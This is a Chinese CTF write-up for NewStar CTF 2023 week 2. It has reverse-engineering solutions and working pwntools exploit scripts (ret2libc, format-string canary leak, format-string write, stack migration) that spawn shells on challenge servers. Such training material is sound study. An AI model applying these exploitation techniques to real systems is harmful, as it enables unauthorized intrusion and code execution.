nyyyddddn

newstar_week2

2023/11/05

RE

PZthon

发现是python写的,先用 pyinstxtractor解包,然后将PZthon.pyc用pycdc反编译得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Source Generated with Decompyle++
# File: PZthon.pyc (Python 3.9)


def hello():
art = '\n ___ \n // ) ) / / // ) ) // | | / / // | | \\ / / \\ / / \n //___/ / / / // //__| | / / //__| | \\ / \\ / / \n / ____ / / / // ____ / ___ | / / / ___ | / / \\/ / \n // / / // / / // | | / / // | | / /\\ / / \n// / /___ ((____/ / // | | / /____/ / // | | / / \\ / / \n \n / / // / / || / / // / / / / /__ ___/ || / | / / // ) ) \n / / //____ || / / //____ / / / / || / | / / // / / \n / / / ____ || / / / ____ / / / / || / /||/ / // / / \n / / // ||/ / // / / / / ||/ / | / // / / \n / /____/ / //____/ / | / //____/ / / /____/ / / / | / | / ((___/ / \n'
print(art)
return bytearray(input('Please give me the flag: ').encode())

enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]
data = hello()
for i in range(len(data)):
data[i] = data[i] ^ 21
if bytearray(enc) == data:
print('WOW!!')
else:
print('I believe you can do it!')
input('To be continue...')

异或一下拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]

for i in enc:
print(chr(i ^ 21),end="")

SMC

smc 顾名思义Self-Modifying Code,将代码加密,在运行的时候运行解密的函数,解密加密的代码

这里首先用了一个 VP函数改变了text段的权限,然后通过sub_401042() 里的逻辑,对加密的代码解密,只需要用idapy写一个解密的逻辑,然后转unk类型 转function类型,就能看到加密前的逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
DWORD *v3; // eax

v3 = (DWORD *)malloc(0x26u);
VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
puts("Please enter your flag:");
sub_401025("%s", (char)&unk_4033D4);
if ( NtCurrentPeb()->BeingDebugged )
{
MessageBoxA(0, "Debug Detected!", "Warning!", 0);
Sleep(0x1388u);
exit(0);
}
sub_401042();
if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
puts("Win!");
else
puts("Lose!");
return system("pause");
}
1
2
3
4
5
6
7
8
9
10
11
12
char sub_401042()
{
int i; // ecx
char result; // al

for ( i = 0; i < 38; ++i )
{
result = byte_403068[i & 3];
byte_403040[i] ^= result;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ida_bytes

start_addr = 0x00403040
end_addr = start_addr + 38
xor_data_addr = 0x00403068

# 获取异或数据
xor_data = [ida_bytes.get_byte(xor_data_addr + i) for i in range(4)]

for addr in range(start_addr, end_addr):

# 获取当前地址的数据
data = ida_bytes.get_byte(addr)

xor_result = data ^ xor_data[(addr - start_addr) % len(xor_data)]

ida_bytes.patch_byte(addr, xor_result)

print("success")

操作结束后,将类型先转换成unk ,然后转换成function,就能看到原来的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
char sub_403040()
{
int v0; // edx

v0 = 0;
while ( ((unsigned __int8)inputString[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
{
if ( ++v0 >= 32 )
return 1;
}
return 0;
}

先加五,再异或 0x11 就能拿到flag了

1
2
3
4
5
flag = [0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]

for i in flag:
byte = (i - 5) ^ 0x11
print(chr(byte),end="")

Petals

这里有个loc_1209的段 反编译有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+Ch] [rbp-4h]

puts("Here is a pack of flowers, to my best love --- you.");
puts("But I must check your identity, please input the right passwd");
__isoc99_scanf("%s", byte_4080);
v4 = strlen(byte_4080);
if ( strlen(byte_4080) != 25 )
{
puts("Please check your input's format!");
exit(-1);
}
((void (__fastcall *)(char *, _QWORD))loc_1209)(byte_4080, v4);
sub_160C(byte_4080, &unk_4020, v4);
printf("If you are succeed, the flag is flag{md5(your input)}");
return 0LL;
}

这里有个花指令,call 了一个无效的地址,nop一下,重新打包main function反编译就显示正常了

1
2
3
4
5
6
7
8
.text:00000000000013AC 74 03                         jz      short near ptr loc_13B0+1
.text:00000000000013AC
.text:00000000000013AE 75 01 jnz short near ptr loc_13B0+1
.text:00000000000013AE
.text:00000000000013B0
.text:00000000000013B0 loc_13B0: ; CODE XREF: .text:00000000000013AC↑j
.text:00000000000013B0 ; .text:00000000000013AE↑j
.text:00000000000013B0 E8 C7 85 EC FE call near ptr 0FFFFFFFFFEEC997Ch

这里的逻辑是通过 (i ^ a2) 来初始化一个 255的数组,将flag的值当做下标选取v5数组中的值替换flag[i] ,置反的话,首先是生成一个 ~(i ^ a2)的数组,然后根据cmp的数据去查找(i ^ a2) 对应数据的下标,下标拼接再md5就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
int i; // [rsp+18h] [rbp-118h]
unsigned int j; // [rsp+1Ch] [rbp-114h]
__int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(v5, 0, 256);
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v5 + i) = ~(i ^ a2);
for ( j = 0; a2 > j; ++j )
*(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
return v6 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87]

v5 = [0] * 256
a2 = len(flag)
for i in range(256):
v5[i] = ~(i ^ a2) & 0xFF

inputString = []
for byte_val in flag:
inputString.append(v5.index(byte_val))

for i in inputString:
print(chr(i),end="")

AndroGenshin

逻辑大概是用 it_is_not_RC4.rc4函数和genshinimpact key去加密base64table,用加密的base64table和it_is_not_base64去加密password,和一个字符串进行cmp,置反的流程是先算出解密的base64table是多少,用解密后的base64table去解密cmp的字符串就能拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.genshin.impact;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.ItemTouchHelper;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
EditText pass;
EditText user;

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.user = (EditText) findViewById(R.id.editTextTextUser);
this.pass = (EditText) findViewById(R.id.editTextTextpassword);
Button button1 = (Button) findViewById(R.id.button);
button1.setOnClickListener(new View.OnClickListener() { // from class: com.genshin.impact.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String username = MainActivity.this.user.getText().toString();
String password = MainActivity.this.pass.getText().toString();
if (username.length() == 0 || password.length() == 0) {
Toast.makeText(MainActivity.this, (int) R.string.wrong3, 0).show();
return;
}
if (!username.equals("genshinimpact")) {
Toast.makeText(MainActivity.this, (int) R.string.wrong1, 0).show();
}
int[] base64_table = {125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150};
String retval = it_is_not_RC4.rc4(username, base64_table);
String result2 = it_is_not_base64.encode(password.getBytes(), retval);
if (!result2.equals("YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1=")) {
Toast.makeText(MainActivity.this, (int) R.string.wrong2, 0).show();
return;
}
Toast.makeText(MainActivity.this, (int) R.string.Congratulate, 0).show();
Intent intent = new Intent(MainActivity.this, MainActivity2.class);
MainActivity.this.startActivity(intent);
}
});
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64

def rc4(keyStr, data):
key = keyStr.encode()
s = [i for i in range(256)]
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (s[i] + j + k[i]) & 255
temp = s[i]
s[i] = s[j]
s[j] = temp

result = []
j2 = 0
i3 = 0
for i4 in data:
i3 = (i3 + 1) & 255
j2 = (s[i3] + j2) & 255
temp2 = s[i3]
s[i3] = s[j2]
s[j2] = temp2
rnd = s[(s[i3] + s[j2]) & 255]
result.append(chr(i4 ^ rnd))
return ''.join(result)


def decode_custom_base64(data, CUSTOM_TABLE):
base64_standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans_data = data.translate(str.maketrans(CUSTOM_TABLE, base64_standard))
decoded_bytes = base64.b64decode(trans_data)
return decoded_bytes.decode('utf-8')


base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211,
164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144,
231, 255, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
username = "genshinimpact"
custom_table = rc4(username, base64_table)
flag = "YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
flag = decode_custom_base64(flag, custom_table)

print(flag)

C?C++?

用die发现是.net的程序,ida打开全是msil,搜索了一下,可以用jb家的dotPeek来反编译,反编译后的逻辑是这样的,先将inputString按字节加上一个范围是0-35的 index,减去’ ‘的ascii,然后进行一个块操作,块大小为5字节,循环七次,对每个块中的每个字节,都有一个独立的+=的操作。分析清楚逻辑后就可以开始置反操作写解密脚本啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// Decompiled with JetBrains decompiler
// Type: ConsoleApp1.Program
// Assembly: ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F409EFA1-6A9F-40C9-9C3E-A5D06A17BC7D
// Assembly location: G:\ctf\newStar2023\week2\re\Strange.exe

using System;

namespace ConsoleApp1
{
internal class Program
{
private static void Main(string[] args)
{
int num1 = 35;
int[] numArray1 = new int[35]
{
68,
75,
66,
72,
99,
19,
19,
78,
83,
74,
91,
86,
35,
39,
77,
85,
44,
89,
47,
92,
49,
88,
48,
91,
88,
102,
105,
51,
76,
115,
-124,
125,
79,
122,
-103
};
char[] chArray = new char[35];
int[] numArray2 = new int[35];
Console.Write("Input your flag: ");
string str1 = Console.ReadLine();
for (int index = 0; index < str1.Length; ++index)
chArray[index] = str1[index];
string str2 = "NEWSTAR";
for (int index = 0; index < num1; ++index)
{
chArray[index] += (char) index;
chArray[index] -= ' ';
}
for (int index = 0; index < 7; ++index)
{
chArray[index] += (char) (index ^ -((int) str2[index] % 4));
chArray[index + 7] += (char) ((uint) str2[index] % 5U);
chArray[index + 14] += (char) (2 * index);
chArray[index + 21] += (char) (index ^ 2);
chArray[index + 28] += (char) ((int) str2[index] / 5 + 10);
}
for (int index = 0; index < num1; ++index)
{
int num2 = (int) chArray[index];
numArray2[index] = num2;
}
for (int index = 0; index < 35; ++index)
{
if (index == 34 && numArray2[index] == numArray1[index])
Console.WriteLine("Right!");
if (numArray2[index] != numArray1[index])
{
Console.WriteLine("Wrong!");
break;
}
}
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
flag = [68, 75, 66, 72, 99, 19, 19, 78, 83, 74, 91, 86, 35, 39, 77, 85, 44, 89, 47,
92, 49, 88, 48, 91, 88, 102, 105, 51, 76, 115, -124, 125, 79, 122, -103]

str2 = "NEWSTAR"

for i in range(7):
flag[i] -= (i ^ -(ord(str2[i]) % 4))
flag[i + 7] -= (ord(str2[i]) % 5)
flag[i + 14] -= 2 * i
flag[i + 21] -= i ^ 2
flag[i + 28] -= (ord(str2[i]) // 5 + 10)

for i in range(len(flag)):
flag[i] = (flag[i] - i + ord(' ')) % 256

result = ''.join([chr(i) for i in flag])

print(result)

R4ndom

这个题好坑,有个srand不在main里面,导致出来的随机数都是错误的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // bl
int v4; // eax
int i; // [rsp+Ch] [rbp-94h]
__int64 s2[6]; // [rsp+10h] [rbp-90h] BYREF
__int16 v8; // [rsp+40h] [rbp-60h]
char s[8]; // [rsp+50h] [rbp-50h] BYREF
__int64 v10; // [rsp+58h] [rbp-48h]
__int64 v11; // [rsp+60h] [rbp-40h]
__int64 v12; // [rsp+68h] [rbp-38h]
__int64 v13; // [rsp+70h] [rbp-30h]
__int64 v14; // [rsp+78h] [rbp-28h]
__int16 v15; // [rsp+80h] [rbp-20h]
unsigned __int64 v16; // [rsp+88h] [rbp-18h]

v16 = __readfsqword(0x28u);
s2[0] = 0x3513AB8AB2D7E6EELL;
s2[1] = 0x2EEDBA9CB9C97B02LL;
s2[2] = 0x16E4F8C8EEFA4FBDLL;
s2[3] = 0x383014F4983B6382LL;
s2[4] = 0xEA32360C3D843607LL;
s2[5] = 42581LL;
v8 = 0;
puts("Can You Find the Secret?");
puts("Give me your flag");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
__isoc99_scanf("%s", s);
if ( strlen(s) != 42 )
exit(0);
for ( i = 0; i < strlen(s); ++i )
{
v3 = s[i];
v4 = rand();
s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
}
if ( !memcmp(s, s2, 0x2AuLL) )
puts("You get the Right Flag!!");
else
puts("Maybe your flag is Wrong o.O?");
return 0;
}
1
2
3
4
5
6
7
8
unsigned __int64 b(void)
{
unsigned __int64 v1; // [rsp+18h] [rbp-8h]

v1 = __readfsqword(0x28u);
srand(0x5377654Eu);
return __readfsqword(0x28u) ^ v1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
str2 = [
0x3513AB8AB2D7E6EE, 0x2EEDBA9CB9C97B02, 0x16E4F8C8EEFA4FBD,
0x383014F4983B6382, 0xEA32360C3D843607, 42581
]


Table = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82,
0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26,
0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96,
0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0,
0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF,
0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32,
0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6,
0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E,
0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E,
0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F,
0xB0, 0x54, 0xBB, 0x16
]

v4_values = [
1339546161, 401979842, 1084912717, 882247430, 1048050849, 1950252444,
1188894224, 1035316485, 1004145938, 292996994, 698777994, 1572612448,
187344395, 1998928827, 490869405, 1976471722, 861192779, 1683160727,
1968082326, 1836887756, 1806801098, 176220730, 2616407, 375557835,
1798606494, 1079742625, 657352025, 1384338308, 1249182411, 600742620,
1626386373, 441244924, 1002722462, 563815442, 1323492354, 2050773311,
366584239, 364902931, 938606148, 1370730177, 657899925, 1637384142
]

s2 = bytearray(b for value in str2 for b in value.to_bytes(8, byteorder="little"))


for val in s2.strip():
rand_v4 = v4_values[s2.index(val) % len(v4_values)]

decoded_char = next(
(chr(chr_val) for chr_val in range(129)
if Table[(16 * ((chr_val + rand_v4 % 255) >> 4) + 0xF) &
(chr_val + rand_v4 % 255) % len(Table)] == val),
None
)
if decoded_char:
print(decoded_char, end="")

PWN

ret2libc

通过put_plt put_got 还有 read_got的方式泄露这两个地址,用libcsearcher 去找对应的libc版本,找到后根据libc中的偏移算出libc的基地址,然后就能拿到system和binsh啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

elf = context.binary = ELF("ret2libc")
context.log_level = "debug"

# p = process()
ip = "node4.buuoj.cn"
port = 29460
p = remote(ip,port)


puts_got = elf.got['puts']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400763
ret = 0x0000000000400506
main = 0x0000000000400698
offset = b'a' * (0x20 + 0x8)

####################################################### leak_addr1
payload = offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr1 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr1[puts] -> {hex(leak_addr1)}")
################################################## leak_addr2
payload = offset + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr2 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr2[read] -> {hex(leak_addr2)}")



libc = LibcSearcher("puts",leak_addr1)
libc.add_condition("read",leak_addr2)
libc_base = leak_addr1 - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")


payload = offset + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendlineafter(b"again\n",payload)


p.interactive()

canary[补]

这里read buf后 printf(buf)有一个格式化字符串漏洞,可以通过格式化字符串漏洞泄露栈上数据,使用%n$p这种格式来定位canary的位置,然后带上canary溢出,return到backdoor就好了

偏移可以用pwngdb中的fmtarg插件来计算,具体用法是运行到printf函数的时候 fmtarg addr格式,addr这里输入一个想要去到的地址,就会算出偏移,有的时候需要填充一些字符,让泄露的数据显示完全,具体的计算方法是,printf(%p)的话,是打印一个八字节的地址,首先保证格式化字符串的长度是8的倍数,填充n个字符,然后用fmtarg算出的偏移+这个倍数就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to NewStar CTF!!");
puts("Give me some gift?");
read(0, buf, 0x20uLL);
puts("Oh thanks,There is my gift:");
printf(buf);
puts("Show me your magic");
read(0, buf, 0x100uLL);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./canary')
# libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "node4.buuoj.cn"
port = 27415
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)



## fmt leek canary
sla(b"Give me some gift?\n",b"aaa%11$p")

ru("aaa")
leek_canary = int(ru(b"00").decode(),16)
success(f"{hex(leek_canary)}")


sa(b"Show me your magic\n",
b'a' * 40 + p64(leek_canary) + b'a' * 8 + p64(0x401262)
)

p.interactive()

secret number[补]

看了下wp,原来有fmtstr_payload()这样的函数,只要设置好偏移和要修改的地址,要修改的值,就能自动生成格式化字符串,这道题开了pie,思路是泄露一个和elf相关的地址来计算elf_base,然后通过elf_base去取随机数的地址,再通过格式化字符串任意地址写往随机数的位置写一个值就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./secretnumber')
# libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "node4.buuoj.cn"
port = 29349
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


main = 0x12F5
num = 0x404C


sla("Give me some gift?(0/1)\n",b"1")
s("%17$p")

rl()
line = int(ru(b"f5")[-12:],16)

pie = line - main
num = pie + num
success(f"pie address -> {hex(pie)}")
success(f"num address -> {hex(num)}")


sla("Give me some gift?(0/1)\n",b"1")
s(fmtstr_payload(8,{num:1}))

sla("Give me some gift?(0/1)\n",b"0")
sla("Guess the number\n",'1')

p.interactive()

stack migration[补]

去学习了一下栈迁移的原理,核心是利用两次leave;ret把rsp迁移到一个布置好的新栈,这里v2是一个很合适的”栈”,然后read v2刚刚好可以用来布置新栈,上面的%s可以用来泄露一个libc的地址,来计算libc_base拿到system和binsh,也有pop rdi ret这个gadget,所以利用思路是,先用%s泄露一个libc地址,计算出libc_base拿到binsh system的地址,往v2中布置 pop rdi ret + binsh + system,覆盖rbp为v2的地址,rbp + 8 位leave;ret 来栈迁移到v2上执行system(binsh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_4011FB()
{
char buf[8]; // [rsp+8h] [rbp-58h] BYREF
char v2[80]; // [rsp+10h] [rbp-50h] BYREF

puts("I've never seen you before!");
puts("your name:");
read(0, buf, 8uLL);
printf("Oh, you are %s~\n", buf);
printf("I have a small gift for you: %p\n", buf);
puts("more infomation plz:");
read(0, v2, 0x60uLL);
puts("OK, nice to see you~");
return puts("maybe I'll see you soon!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./stack_migration')
libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
p = process()
else:
ip = "node4.buuoj.cn"
port = 27908
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

# g(p)

sa("your name:\n", b'a'*8)
ru('a' * 8)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["_IO_file_jumps"]
success(f"libc_addr ->{hex(libc.address)}")


ru(b"I have a small gift for you: ")
new_stack_addr = int(r(14),16)
success(f"new_stack_addr ->{hex(new_stack_addr)}")


rdi = 0x0000000000401333
sh = next(libc.search(b'/bin/sh'))
system = libc.sym["system"]
leave = 0x00000000004012aa

s(flat([
rdi,sh,system,
b'\x00' * (0x50 - 8 - 8 - 8),
new_stack_addr,
leave
]))

p.interactive()

shellcode revenge[补]

这一题很巧妙,这个程序的意思是分配一块可读可写可执行大小为0x1000字节的内存,然后往这块内存中最多写255个字节的数据,最后跳转到这块内存中执行这块内存上面的代码。

但是对输入数据有个限制,输入的数据必须在0-9 A-Z这个范围内,构造一个符合这个限制的shellcode是很困难的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+3h] [rbp-11Dh] BYREF
int i; // [rsp+4h] [rbp-11Ch]
__int64 v5; // [rsp+8h] [rbp-118h]
char src[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic");
for ( i = 0; ; ++i )
{
if ( i > 255 )
goto LABEL_9;
read(0, &buf, 1uLL);
if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 )
break;
src[i] = buf;
}
puts("Pls input the correct character");
LABEL_9:
strncpy((char *)0x66660000, src, 0x100uLL);
JUMPOUT(0x66660000LL);
}

